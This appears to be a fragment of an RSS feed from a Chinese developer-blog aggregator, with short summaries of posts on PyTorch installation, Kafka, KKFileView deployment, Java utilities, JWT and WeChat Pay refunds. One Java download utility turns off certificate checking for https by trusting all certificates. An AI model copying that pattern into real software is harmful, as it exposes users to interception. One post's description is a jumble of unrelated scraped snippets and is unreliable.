      <description>conda环境中pytorch1.2.0版本安装包安装一直失败解决办法 cuda10.0以及cudnn7.4现在以及安装完成，就差torch的安装了，现在torch我要装的是1.2.0版本的，安装包以及下载好了，安装包都是在这个网站里下载的（点此进入），但是conda install torch-1.2.0-cp36-cp36m-win_amd64.whl安装命令执行之后一直报错，信息如下：Solving environment: unsuccessful initial attempt using frozen solve. Retrying with flexible solve.后边还有很多就不展示了。&#xA;Solving environment: unsuccessful initial attempt using frozen solve. Retrying with flexible solve. 经查是因为有依赖不完整导致conda不执行安装（后来发现可能是没有numpy的原因，不要问为什么没有numpy，因为这是创建的新的环境，conda好像自己安装的库好像不包括numpy），查了很多信息都没有找到解决办法，然后我突发奇想试试能不能用pip install指令安装，结果通过这种方式真的成功了！！！太激动了，因为pip安装的时候它会把缺失的依赖自动下载，而conda不会这么做！！！&#xA;如下是解决方法 pip安装 pip install torch-1.2.0-cp36-cp36m-win_amd64.whl 最后进入python中执行以下代码就可以查看cuda和cudnn版本号了，输出正常就是成功了！如下图。倒腾好久好久的，终于成功将cuda、cudnn、torch全部安装成功了！！！鸡冻啊！ 有不懂的可以在评论区留言~</description>
    </item>
    <item>
      <title>C语言作业（部分）</title>
      <link>https://bchobby.github.io/posts/27800a455e447b472b25c8f77cad7983/</link>
      <pubDate>Tue, 07 Nov 2023 23:53:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/27800a455e447b472b25c8f77cad7983/</guid>
      <description>3.题干： 编写程序，要求程序运行时，从键盘输入一个三位正整数，将它反向输出。（提示：若输入的不是正整数，输出error!若输 入三位正整数的个位数为0，十位数不为0，则输出十位数和百位数；若输入三位正整数的个位数和十位数均为0，则输出百 位数。） #include&amp;lt;stdio.h&amp;gt; int main() { int n,x,m; scanf(&#34;%d&#34;,&amp;amp;n); x=n; if(n&amp;gt;0) { if(n%10!=0) { n/=10; if(n%10!=0) { while(x&amp;gt;0) { m=x%10; x/=10; printf(&#34;%d&#34;,m); } } }else{ n/=10; if(n%10!=0) { x/=10; while(x&amp;gt;0) { m=x%10; x/=10; printf(&#34;%d&#34;,m); }&#x9;}else{ x/=10; x/=10; m=x; printf(&#34;%d&#34;,m); } } }else{ printf(&#34;error!&#34;); } return 0; } 4.题干： 编写程序，根据利润计算奖金。要求程序运行时，从键盘输入利润，计算并输出奖金（结果保留两位小数）。已知，利润低 于或等于10万元时，奖金可提10%；利润高于10万元，低于20万元时，低于10万元的部分按10%提成，高于10万元的部分，可 提成7.5%；20万到40万之间时，高于20万元的部分，可提成5%；40万到60万之间时高于40万元的部分，可提成3%；60万到100 万之间时，高于60万元的部分，可提成1.5%，高于100万元时，超过100万元的部分按1%提成，从键盘输入当月利润，求应发 放奖金总数？ 输入输出格式请严格按如下示例要求，格式不正确不得分。 示例：（说明：表示空格键 表示回车键） 输入数据为：120000 输出结果为：11500.00 #include&amp;lt;stdio.h&amp;gt; int main() { int n;//利润 double prize; scanf(&#34;</description>
    </item>
    <item>
      <title>kafka知识点整理</title>
      <link>https://bchobby.github.io/posts/340fb93e947fcdea18c3c67d9a4a4386/</link>
      <pubDate>Tue, 07 Nov 2023 22:03:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/340fb93e947fcdea18c3c67d9a4a4386/</guid>
      <description>Kafka 是什么 Apache Kafka是一个开源消息系统，由Scala写成。是由Apache软件基金会开发的一个开源消息系统项目&#xA;Kafka对消息保存时根据Topic进行归类，发送消息者称为Producer,消息接受者称为Consumer,此外kafka集群有多个kafka实例组成，每个实例(server)成为broker。无论是kafka集群，还是producer和consumer都依赖于zookeeper集群保存一些meta信息，来保证系统可用性&#xA;Kafka 核心组件 Producer：消息生产者，产生的消息将会被发送到某个topic&#xA;Consumer：消息消费者，消费的消息内容来自某个topic&#xA;Topic：消息根据topic进行归类，topic其本质是一个目录，即将同一主题消息归类到同一个目录&#xA;Broker：每一个kafka实例（或者说每台kafka服务器节点）就是一个broker，一个broker可以有多个topic&#xA;Zookeeper：zookeeper集群不属于kafka内的组件，但kafka依赖zookeeper集群保存meta信息，所以在此做声明其重要性。&#xA;Kafka 整体架构以及解析 Kafka数据处理步骤 1、Producer产生消息，发送到Broker中2、Leader状态的Broker接收消息，写入到相应topic中3、Leader状态的Broker接收完毕以后，传给Follow状态的Broker作为副本备份4、Consumer消费Broker中的消息 Kafka名词解释和工作方式 Producer&#xA;消息生产者，就是向kafka broker发消息的客户端。&#xA;Consumer&#xA;消息消费者，向kafka broker取消息的客户端&#xA;Topic&#xA;可以理解为一个队列。&#xA;Consumer Group （CG）&#xA;这是kafka用来实现一个topic消息的广播（发给所有的consumer）和单播（发给任意一个consumer）的手段。一个topic可以有多个CG。topic的消息会复制（不是真的复制，是概念上的）到所有的CG，但每个partion只会把消息发给该CG中的一个consumer。如果需要实现广播，只要每个consumer有一个独立的CG就可以了。要实现单播只要所有的consumer在同一个CG。用CG还可以将consumer进行自由的分组而不需要多次发送消息到不同的topic。&#xA;Broker&#xA;一台kafka服务器就是一个broker。一个集群由多个broker组成。一个broker可以容纳多个topic。&#xA;Partition&#xA;为了实现扩展性，一个非常大的topic可以分布到多个broker（即服务器）上，一个topic可以分为多个partition，每个partition是一个有序的队列。partition中的每条消息都会被分配一个有序的id（offset）。kafka只保证按一个partition中的顺序将消息发给consumer，不保证一个topic的整体（多个partition间）的顺序。&#xA;Consumer与topic关系 kafka只支持Topic&#xA;每个group中可以有多个consumer，每个consumer属于一个consumer group；通常情况下，一个group中会包含多个consumer，这样不仅可以提高topic中消息的并发消费能力，而且还能提高&#34;故障容错&#34;性，如果group中的某个consumer失效那么其消费的partitions将会有其他consumer自动接管。&#xA;对于Topic中的一条特定的消息，只会被订阅此Topic的每个group中的其中一个consumer消费，此消息不会发送给一个group的多个consumer；那么一个group中所有的consumer将会交错的消费整个Topic，每个group中consumer消息消费互相独立，我们可以认为一个group是一个&#34;订阅&#34;者。&#xA;在kafka中,一个partition中的消息只会被group中的一个consumer消费(同一时刻)；&#xA;一个Topic中的每个partions，只会被一个&#34;订阅者&#34;中的一个consumer消费，不过一个consumer可以同时消费多个partitions中的消息。&#xA;kafka的设计原理决定,对于一个topic，同一个group中不能有多于partitions个数的consumer同时消费，否则将意味着某些consumer将无法得到消息。&#xA;kafka只能保证一个partition中的消息被某个consumer消费时是顺序的；事实上，从Topic角度来说,当有多个partitions时,消息仍不是全局有序的。&#xA;Kafka消息的分发 Producer客户端负责消息的分发&#xA;kafka集群中的任何一个broker都可以向producer提供metadata信息,这些metadata中包含&#34;集群中存活的servers列表&#34;、&#34;partitions leader列表&#34;等信息；&#xA;当producer获取到metadata信息之后, producer将会和Topic下所有partition leader保持socket连接；&#xA;消息由producer直接通过socket发送到broker，中间不会经过任何&#34;路由层&#34;。事实上，消息被路由到哪个partition上由producer客户端决定，比如可以采用&#34;random&#34;&#34;key-hash&#34;&#34;轮询&#34;等。&#xA;如果一个topic中有多个partitions,那么在producer端实现&#34;消息均衡分发&#34;是必要的。&#xA;在producer端的配置文件中,开发者可以指定partition路由的方式。&#xA;Producer消息发送的应答机制&#xA;设置发送数据是否需要服务端的反馈,有三个值0,1,-1&#xA;0: producer不会等待broker发送ack&#xA;1: 当leader接收到消息之后发送ack&#xA;-1: 当所有的follower都同步消息成功后发送ack&#xA;request.required.acks=0&#xA;Consumer的负载均衡 当一个group中,有consumer加入或者离开时,会触发partitions均衡.均衡的最终目的,是提升topic的并发消费能力，步骤如下：&#xA;1、假如topic1,具有如下partitions: P0,P1,P2,P3&#xA;2、加入group A 中,有如下consumer: C0,C1</description>
    </item>
    <item>
      <title>KKFileView 4.3 Centos7.9安装部署</title>
      <link>https://bchobby.github.io/posts/286e864195965c1c126a559154b72ae1/</link>
      <pubDate>Tue, 07 Nov 2023 18:31:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/286e864195965c1c126a559154b72ae1/</guid>
      <description>安装介质版本 文件预览：KKFile V4.3.0 官网&#xA;OFFICE插件：libreoffice7.6&#xA;操作系统：CentOS Linux release 7.9.2009 (Core)&#xA;字体包：字体&#xA;安装Office插件 下载好Office插件后，开始安装：&#xA;解压压缩文件：&#xA;tar -zxvf LibreOffice_7.6.2_Linux_x86-64_rpm.tar.gz 进入RPM文件目录：&#xA;cd LibreOffice_7.6.2.1_Linux_x86-64_rpm/RPM 执行安装指令：&#xA;rpm -ivh *.rpm 或者 yum localinstall *.rpm 安装字体 大部分Linux系统上并没有预装中文字体或字体不全，需要把常用字体拷贝到Linux服务器上，具体操作如下：&#xA;下载如下字体包 http://kkfileview.keking.cn/fonts.zip 文件解压完整拷贝到Linux下的 /usr/share/fonts目录。&#xA;然后依次执行mkfontscale 、mkfontdir 、fc-cache使字体生效。&#xA;cd /usr/share/fonts mkfontscale mkfontdir fc-cache 安装KKFILEVIEW 俩种方式，一是氪金，99米加入星球获取。&#xA;另外一种是，现在源代码，本地编译。&#xA;https://gitee.com/kekingcn/file-online-preview&#xA;1. 从码云仓库拉取代码 # git clone https://gitee.com/kekingcn/file-online-preview.git 2. 使用maven编译打包 # cd file-online-preview mvn clean package -DskipTests 3. 使用docker构建镜像 # docker build -t keking/kkfileview:v4.0.0 . 不管是哪种方式，将得到的gz压缩包上传到服务器安装目录。</description>
    </item>
    <item>
      <title>Java附件和base64相互转换</title>
      <link>https://bchobby.github.io/posts/a972da52269db0a12e15ba7ed604b1bd/</link>
      <pubDate>Tue, 07 Nov 2023 17:23:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a972da52269db0a12e15ba7ed604b1bd/</guid>
      <description>1 文件转base64 声明：我用的是Hutool的Base64下的api&#xA;package cn.hutool.core.codec;&#xA;首先找一张图片&#xA;很简单，直接使用Base64的encode方法就可以拿到文件的base64码：&#xA;File file = new File(&#34;D:\\Tools\\Images\\北极熊.jpg&#34;); String encode = Base64.encode(file); 通过断点，可以看到附件的base64就是一串很长的字符串。&#xA;2 base64转文件 拿到附件的base64之后，就可以通过该方法进行转换为附件&#xA;/** * @description base64转附件 * @date 17:17 2023/11/7 * @param base64 附件的base64码 * @param filePath 存储路径 * @return java.io.File **/ public static File base64ToFile(String base64, String filePath) { File file = new File(filePath); byte[] buffer; try { BASE64Decoder base64Decoder = new BASE64Decoder(); buffer = base64Decoder.decodeBuffer(base64); FileOutputStream out = new FileOutputStream(filePath); out.</description>
    </item>
    <item>
      <title>HTML使用canvas绘制海报（网络图片）</title>
      <link>https://bchobby.github.io/posts/660acc11c76ae0902d9f998fedb73848/</link>
      <pubDate>Tue, 07 Nov 2023 16:33:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/660acc11c76ae0902d9f998fedb73848/</guid>
      <description>生成前：&#xA;生成后：&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;utf-8&#34;&amp;gt; &amp;lt;title&amp;gt;媒体参会嘉宾邀请函生成链接&amp;lt;/title&amp;gt; &amp;lt;link rel=&#34;stylesheet&#34; href=&#34;https://cdn.jsdelivr.net/npm/vant@2.10/lib/index.css&#34; /&amp;gt; &amp;lt;style&amp;gt; #app { width: 100vw; position: relative; } * { margin: 0; padding: 0; } [v-cloak] { display: none; } .bg { width: 100vw; height: 100vh; min-height: 100vh; position: relative; overflow: hidden; } #scream { width: 100%; height: 100%; } .closeImg { width: 34px; height: 34px; } .pop { position: absolute; top: 0; left: 0; height: 100%; width: 100%; background: rgba(0, 0, 0, 0.</description>
    </item>
    <item>
      <title>Chrome 插件开发 V3版本 跨域处理</title>
      <link>https://bchobby.github.io/posts/adea3258ee3ace64f6460f6f5606357a/</link>
      <pubDate>Tue, 07 Nov 2023 16:20:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/adea3258ee3ace64f6460f6f5606357a/</guid>
      <description>插件构成 chrome 插件通常由以下几部分组成：&#xA;manifest.json：相当于插件的 meta 信息，包含插件的名称、版本号、图标、脚本文件名称等，这个文件是每个插件都必须提供的，其他几部分都是可选的。&#xA;background script：可以调用全部的 chrome 插件 API，实现跨域请求、网页截屏、弹出 chrome 通知消息等功能。相当于在一个隐藏的浏览器页面内默默运行。&#xA;功能页面：包括点击插件图标弹出的页面（简称 popup）、插件的配置页面（简称 options）。&#xA;content script：早期也被称为 injected script，是插件注入到页面的脚本，但是不会体现在页面 DOM 结构里。content script 可以操作 DOM，但是它和页面其他的脚本是隔离的，访问不到其他脚本定义的变量、函数等，相当于运行在单独的沙盒里。content script 可以调用有限的 chrome 插件 API，网络请求收到同源策略限制。&#xA;插件的架构可以参考官方文档。&#xA;重点说明以下几点：&#xA;browser action 和 page action：这俩我们可以理解为插件的按钮。browser action 会固定在 chrome 的工具栏。而 page action 可以设置特定的网页才显示图标，在地址栏的右端，如下图： 大部分插件点击之后会显示 UI，也就是上文描述的插件功能页面部分，一般称为 popup 页面，如下图：&#xA;popup 无法通过程序打开，只能由用户点击打开。点击 popup 之外的区域会导致 popup 收起。&#xA;page action 和 browser action 分别由 manifest.json 的 page_action 和 browser_action 字段配置。&#xA;由于 content script 受到同源策略的限制，所以一般网络请求都交给 background script 处理。</description>
    </item>
    <item>
      <title>java 通过指定url地址下载文件到本地工具类(包含https的数字签名请求)</title>
      <link>https://bchobby.github.io/posts/e2882f2339a812347359856046a9cbf8/</link>
      <pubDate>Tue, 07 Nov 2023 15:52:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e2882f2339a812347359856046a9cbf8/</guid>
      <description>java 通过指定url地址下载文件到本地工具类(包含https的数字签名请求) XFileUtils public class XFileUtils { /** * 从网络Url中下载文件 * @param urlStr url的路径 * @throws IOException */ public static String downLoadByUrl(String urlStr,String savePath, String fileName) { if (StrUtil.isBlank(fileName)) { fileName = getFileName(urlStr); } InputStream inputStream = null; FileOutputStream fos = null; try { URL url = new URL(urlStr); // 防止https被证书校验报错，信任所有证书 if(urlStr.contains(&#34;https&#34;)){ SslUtils.ignoreSsl(); } HttpURLConnection conn = (HttpURLConnection) url.openConnection(); //设置超时间为10秒 conn.setConnectTimeout(10 * 1000); //得到输入流 inputStream = conn.getInputStream(); //获取自己数组 byte[] getData = readInputStream(inputStream); //文件保存位置 File saveDir = new File(savePath); if (!</description>
    </item>
    <item>
      <title>Java中5种List的去重方法及它们的效率对比，你用对了吗？</title>
      <link>https://bchobby.github.io/posts/348aa2e1f73dd5b1a3f099331296aef3/</link>
      <pubDate>Tue, 07 Nov 2023 15:40:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/348aa2e1f73dd5b1a3f099331296aef3/</guid>
      <description>01、使用两个for循环实现List去重(有序) /**使用两个for循环实现List去重(有序) * * @param list * */ public static List removeDuplicationBy2For(List&amp;lt;Integer&amp;gt; list) { for (int i=0;i&amp;lt;list.size();i++) { for (int j=i+1;j&amp;lt;list.size();j++) { if(list.get(i).equals(list.get(j))){ list.remove(j); } } } return list; } 02、使用List集合contains方法循环遍历(有序) /**使用List集合contains方法循环遍历(有序) * * @param list * */ public static List removeDuplicationByContains(List&amp;lt;Integer&amp;gt; list) { List&amp;lt;Integer&amp;gt; newList =new ArrayList&amp;lt;&amp;gt;(); for (int i=0;i&amp;lt;list.size();i++) { boolean isContains =newList.contains(list.get(i)); if(!isContains){ newList.add(list.get(i)); } } list.clear(); list.addAll(newList); return list; } 03、使用HashSet实现List去重(无序) /**使用HashSet实现List去重(无序) * * @param list * */ public static List removeDuplicationByHashSet(List&amp;lt;Integer&amp;gt; list) { HashSet set = new HashSet(list); //把List集合所有元素清空 list.</description>
    </item>
    <item>
      <title>交集，并集，差集，补集，对称差集</title>
      <link>https://bchobby.github.io/posts/7d5b4bb962117c38319ef924790da084/</link>
      <pubDate>Tue, 07 Nov 2023 15:27:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7d5b4bb962117c38319ef924790da084/</guid>
      <description> </description>
    </item>
    <item>
      <title>【Pycharm】咋pycharm删除虚拟环境（主要是应对，不小心重新导入同一个环境，出现重复的环境文件）</title>
      <link>https://bchobby.github.io/posts/0794512828b2d8087244d87b2e711728/</link>
      <pubDate>Tue, 07 Nov 2023 14:37:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0794512828b2d8087244d87b2e711728/</guid>
      <description>如上情况虽然很烦人，但估计问题不大，实际上共同的环境（我也不确定，还是删除省事）&#xA;1.往下拉，选中show all&#xA;2.选中左上角的减号（Remove Interpreter）&#xA;3.操作完记得点ok，不然好像没用</description>
    </item>
    <item>
      <title>微信小程序开发-微信支付退款功能以及退款回调方法【WxPayRefundV3版本 附有完整代码】</title>
      <link>https://bchobby.github.io/posts/e3e2554adbd1fc88e1ee310d77afe7d8/</link>
      <pubDate>Tue, 07 Nov 2023 14:23:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e3e2554adbd1fc88e1ee310d77afe7d8/</guid>
      <description>之前有写过详细的微信支付功能：微信支付&#xA;我们使用weixin-java-pay的jar包等，配置上的流程同微信支付，可以看上面的文章。&#xA;退款使用的WxPayService类的refundV3方法。使用该方法需要在微信支付配置的基础上加上：apiclient_key.pem 证书文件、 apiclient_cert.pem证书文件、apiV3 秘钥值的配置&#xA;一、退款功能 1、下载API证书，并放到程序的指定位置&#xA;按照指引下载后解压内容如下，放到程序的resource下面&#xA;放置的程序路径如下：&#xA;2、在yml配置文件中定义&#xA;wechat: appid: secret: # 商户 mchId: # 秘钥 mchKey: apiV3Key: # p12证书的位置，可以指定绝对路径，也可以指定类路径（以classpath:开头） keyPath: classpath:apiclient_cert.p12 privateKeyPath: classpath:apiclient_key.pem privateCertPath: classpath:apiclient_cert.pem #JSAPI--公众号支付 NATIVE--原生扫码支付 APP--app支付 tradeType: JSAPI notifyUrl: #支付回调方法地址 refundNotifyUrl: #退款回调方法地址 3、在原有的WxProperties和WxConfig中对WxPayService配置的内容中进行新增内容。&#xA;WxProperties：&#xA;WxConfig：【这里的setNotifyUrl的地址是支付回调的地址】&#xA;4、调用退款方法定义以及调用&#xA;/** * 微信支付退款 * @param orderNo * @param amount * @return */ public Result&amp;lt;WxPayRefundV3Result&amp;gt; rebackPay(String orderNo,Integer amount){ Result&amp;lt;WxPayRefundV3Result&amp;gt; res = new Result&amp;lt;WxPayRefundV3Result&amp;gt;(); //微信支付-申请退款请求参数 WxPayRefundV3Request request = new WxPayRefundV3Request(); WxPayRefundV3Request.</description>
    </item>
    <item>
      <title>jeecgboot vue3使用JAreaSelect地区选择组件时返回省市区的编码，如何获取到选择地区的文字</title>
      <link>https://bchobby.github.io/posts/08992e295f31d890b6779523aa1934d9/</link>
      <pubDate>Tue, 07 Nov 2023 14:18:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/08992e295f31d890b6779523aa1934d9/</guid>
      <description>JAreaSelect文档地址：添加链接描述&#xA;当我们的BasicForm表单组件中使用选择省市区的JAreaSelect组件时，获取到的返回值是地区的编码，如“530304”这样子，但我在小程序中展示数据的时候需要明确的地址，如“云南省昆明市五华区”，我们可以在前端原有的工具类中添加转换方法来实现。&#xA;1、看组件代码&#xA;首先用一个JSON文件来存储所有的省市区数据，然后用3个下拉款选择省市区，数据转换是在一个areaDataUtil.js文件中来实现的。&#xA;JSON文件：86是所有的省，然后是各个市以及县区&#xA;省市区选择组件：&#xA;工具类areaDataUtil.js&#xA;2、在我的程序中，表单提交时获取到了值，通过地区的code值转换为文字值&#xA;getTextByCode方法直接加在了areaDataUtil.js方法中：&#xA;function getTextByCode(code) { //6位的编码 let proCode = code.substr(0,2).concat(&#34;0000&#34;); let protext = provinceObject[proCode]; let shiCode = code.substr(0,4).concat(&#34;00&#34;); let shiData = REGION_DATA[proCode]; let shitext = shiData[shiCode] let quCode = code; let quData = REGION_DATA[shiCode]; let qutext = quData[quCode] return protext+shitext+qutext; // 省份汉字 } 其实记录主要的不是为了这个方法，这方法也很简单，而是想要记住省市区数据的JSON数据和工具类，以后在我需要用到这些数据的时候可以看到自己的这个文章然后找到这个数据来直接使用哈哈哈哈哈。</description>
    </item>
    <item>
      <title>WPS关联EndNote X9</title>
      <link>https://bchobby.github.io/posts/5b13319773b8332b8006bd16d3d07a9f/</link>
      <pubDate>Tue, 07 Nov 2023 11:24:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5b13319773b8332b8006bd16d3d07a9f/</guid>
      <description>EndNote X9-王进&#xA;WPS加载项没有EndNote？&#xA;原因：&#xA;1.EndNote是64位的，安装时自动在C:\Program Files\Common Files\ResearchSoft\Cwyw\19生成了供office加载的dll。但是并没有在C:\Program Files (x86)\Common Files\ResearchSoft\Cwyw\19创建文件。&#xA;2.WPS是32位的，要关联endnote需要在C:\Program Files (x86)\Common Files\ResearchSoft\Cwyw\19下去找，根据1的陈述铁定找不到，所以wps不会显示endnote加载项。&#xA;解决办法：&#xA;1.手动创建C:\Program Files (x86)\Common Files\ResearchSoft\Cwyw\19文件夹，需要注意的是19对应的是X9，如果是20对应的就是endnote20，这是版本号&#xA;2.在endnote安装路径（我的是D:\Softsware\endnotex9）下找到D:\endnotex9\Product-Support\CWYW 下的Cwyw_x86.dat ，并且将它的后缀名改为.rar ，然后解压缩到当前文件夹下。最后把解压文件夹下的所有文件复制到C:\Program Files (x86)\Common Files\ResearchSoft\Cwyw\19文件夹下。&#xA;注意：如果打开WPS看不到endnote，需要以管理员身份运行WPS</description>
    </item>
    <item>
      <title>STM32的M4内核在keil上面float访问就hard_fault原因</title>
      <link>https://bchobby.github.io/posts/bd4b5fc0ffe7300040f3f8101cfe1e06/</link>
      <pubDate>Tue, 07 Nov 2023 11:19:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bd4b5fc0ffe7300040f3f8101cfe1e06/</guid>
      <description>使用 Keil MDK（Microcontroller Development Kit）开发时，出现硬件故障（hard fault）通常是由于访问浮点数（float）数据类型时，浮点单元配置不正确或浮点单元启用导致的。以下是一些可能导致硬件故障的原因以及解决方法：&#xA;浮点单元未启用：STM32F4 系列微控制器具有浮点单元（FPU），但默认情况下可能未启用浮点运算支持。如果你的应用程序中使用了浮点数，确保在 Keil 中启用了浮点单元支持。&#xA;在 Keil 中，选择 &#34;Options for Target&#34;。在 &#34;C/C++&#34; 选项卡下，选择 &#34;Floating Point Hardware&#34;。选择 &#34;Single Precision&#34; 或 &#34;Double Precision&#34;，具体取决于你的应用程序需要的精度。 硬件浮点单元配置不正确：在 STM32F4 中，硬件浮点单元的配置需要匹配你的应用程序。确保你的项目配置正确，包括浮点单元的精度和其他设置。&#xA;中断优先级不正确：如果你的应用程序中有使用浮点数的中断处理程序，确保这些中断的优先级设置正确。优先级不正确可能导致硬件故障。&#xA;浮点数操作不正确：确保你的代码正确处理浮点数。浮点数计算可能会引入舍入误差和其他问题，因此在浮点数操作中要特别小心。如果可能的话，使用整数操作代替浮点操作。&#xA;栈和堆设置不正确：确保你的栈和堆大小设置足够大，以容纳浮点数操作可能使用的临时数据。如果栈或堆溢出，也可能导致硬件故障。&#xA;浮点数的数据对齐：浮点单元要求浮点数数据在内存中按要求对齐。在编写代码时，确保访问浮点数的内存位置是正确对齐的，否则可能会导致硬件故障。&#xA;如果你的硬件故障问题仍然存在，你可以使用 Keil 的调试工具来进一步分析问题。通过查看硬件故障发生时的堆栈跟踪和寄存器状态，你可以更容易地确定问题的根本原因。&#xA;注：上述内容来着ai&#xA;个人说明：尤其最后一种，在开发中有时会使用内存1字节对齐的方式，造成float没能做到4字节对齐，从而在访问时出现hard_fault的情况出现。也是实际使用中这次发现的情形</description>
    </item>
    <item>
      <title>学霸笔记-UVM源码-uvm_component 浅析（一）</title>
      <link>https://bchobby.github.io/posts/debae145934160f6394b2d1e15503651/</link>
      <pubDate>Tue, 07 Nov 2023 11:07:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/debae145934160f6394b2d1e15503651/</guid>
      <description>农行上研面试（技术面+综合素质面）&#xA;985硕士0offer&#xA;农行总培训生面经&#xA;农行面经我来啦&#xA;浙商银行24秋招&#xA;秋招决赛圈速腾聚创长光集智&#xA;美团数据开发，组内急缺，流程很快&#xA;题解 | #牛牛学除法#&#xA;知识点：基本运算符#include &amp;lt;iostream&amp;gt;using namespace std;int main() { int a, b, 题解 | #牛牛学取余#&#xA;知识点：基本运算符#include &amp;lt;iostream&amp;gt;using namespace std;int main() { int a, b, 题解 | #实现3-8译码器①#&#xA;`timescale 1ns/1nsmodule decoder_38( input E1_n , input 从产业链看 | 中国芯片的春天&#xA;最近看到了这么一个话题“中国科技什么时候可以超越美国？”科技领域的范围太大太宽泛了，这里举些例子，希望可以见微知著。2018年，制裁事件之后，科技日报发布了一份&#xA;海康威视是否会超发offer&#xA;已经签了海康的两方，三方签晚了offer是否会没了，有没有懂得大佬&#xA;比亚迪深圳 社招 嵌入式软件工程师&#xA;放葱花了吗？我不吃牛肉！&#xA;我是常熟理工学院最窝囊的学生，来个大佬教教我算法好不好，球球了。&#xA;题解 | #浮点数的个位数字#&#xA;知识点：基本运算符#include &amp;lt;iostream&amp;gt;using namespace std;int main() { float a; 题解 | #牛牛买电影票#&#xA;知识点：运算#include &amp;lt;iostream&amp;gt;using namespace std;int main() { int n = 0; 题解 | #判断成绩等级#</description>
    </item>
    <item>
      <title>AutoDL配置环境过程记录（更新中）</title>
      <link>https://bchobby.github.io/posts/18769fa8ed201addf07fc304f7f23cbb/</link>
      <pubDate>Tue, 07 Nov 2023 09:31:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/18769fa8ed201addf07fc304f7f23cbb/</guid>
      <description>AutoDL 配置CUDA 一、编辑文件+刷新，使得能使用conda，以进行后续的环境配置 进入终端 vim ~/.bashrc 然后按英文模式的 i 进入编辑，按键盘下键到最后输入 source root/miniconda3/etc/profile.d/conda.sh 然后先按键盘 Esc 键，使用命令 :wq 保存退出&#xA;输入以下命令刷新 bash 二、配置环境 进入环境： conda activate base 创建新环境：&#xA;这里的环境名称py38可以自由设置 conda create -n py38 python=3.8 进入新环境：&#xA;py38换成自己设置的环境名称 conda activate py38 三、安装所需包 1. Tensorflow conda install tensorboard==2.11.0 tensorboard-data-server==0.6.1 tensorflow==2.11.0 tensorflow-estimator==2.11.0 2. Pytorch 查询安装命令 → Pytorch&#xA;一个例子：&#xA;conda install pytorch torchvision torchaudio pytorch-cuda=11.8 -c pytorch -c nvidia 【报错】&#xA;Solving environment: failed with initial frozen solve. Retrying with flexible solve.</description>
    </item>
    <item>
      <title>Java Web JWT 使用教程</title>
      <link>https://bchobby.github.io/posts/5d25868ace66e0cc2bb7e96907780ae4/</link>
      <pubDate>Tue, 07 Nov 2023 09:20:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5d25868ace66e0cc2bb7e96907780ae4/</guid>
      <description>Java Web JWT 使用教程 一、什么是 JWT二、JWT 验证流程三、JWT 结构1. Header2. Payload3. Signature 四、使用 JWT1. 引入依赖2. 生成 token3. 根据令牌和签名解析数据4. 常见异常信息5. 封装工具类 五、整合 Spring Boot1. 拦截器2. 写配置类，就是对哪些请求进行拦截3. 业务处理类 一、什么是 JWT 官网地址：https://jwt.io/introduction/&#xA;通俗解释：JWT简称JSON Web Token，也就是通过JSON形式作为Web应用中的令牌,用于在各方之间安全地将信息作为JSON对象传输。在数据传输过程中还可以完成数据加密、签名等相关处理。&#xA;二、JWT 验证流程 1、前端通过Web表单将自己的用户名和密码发送到后端的接口。这一过程一般是一个HTTP POST请求。建议的方式是通过SSL加密的传输(https协议)，从而避免敏感信息被嗅探。&#xA;2、后端核对用户名和密码成功后，将用户的id等其他信息作为JWT Payload(负载)，将其与头部分别进行Base64编码拼接后签名，形成一个JWT(Token)。形成的JWT就是一个形同11. zzz. xxx的字符串。token = head . payload . singurater&#xA;3、后端将JWT字符串作为登录成功的返回结果返回给前端。前端可以将返回的结果保存在localStorage或sessionStorage上，退出登录时前端删除保存的JWT即可。&#xA;4、前端在每次请求时将JWT放入HTTP Header中的Authorization位。(解决XSS和XSRF问题)&#xA;5、后端检查是否存在，如存在验证JWT的有效性。例如，检查签名是否正确；检查Token是否过期;检查Token的接收方是否是自己(可选)&#xA;6、验证通过后后端使用JWT中包含的用户信息进行其他逻辑操作，返回相应结果。&#xA;三、JWT 结构 token string ====&amp;gt; header.payload.singnature 令牌组成： 1.标头(Header) 2.有效载荷(Payload) 3.签名(Signature) 因此，JWT通常如下所示:xxxxx.yyyyy.zzzzz Header.Payload.Signature&#xA;1. Header 标头通常由两部分组成：令牌的类型（即JWT）和所使用的签名算法，例如HMAC SHA256或RSA。它会使用 Base64 编码组成 JWT 结构的第一部分。</description>
    </item>
    <item>
      <title>Flink-CDC 基础应用</title>
      <link>https://bchobby.github.io/posts/53b461b46969ad885fdc55572595699f/</link>
      <pubDate>Tue, 07 Nov 2023 09:20:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/53b461b46969ad885fdc55572595699f/</guid>
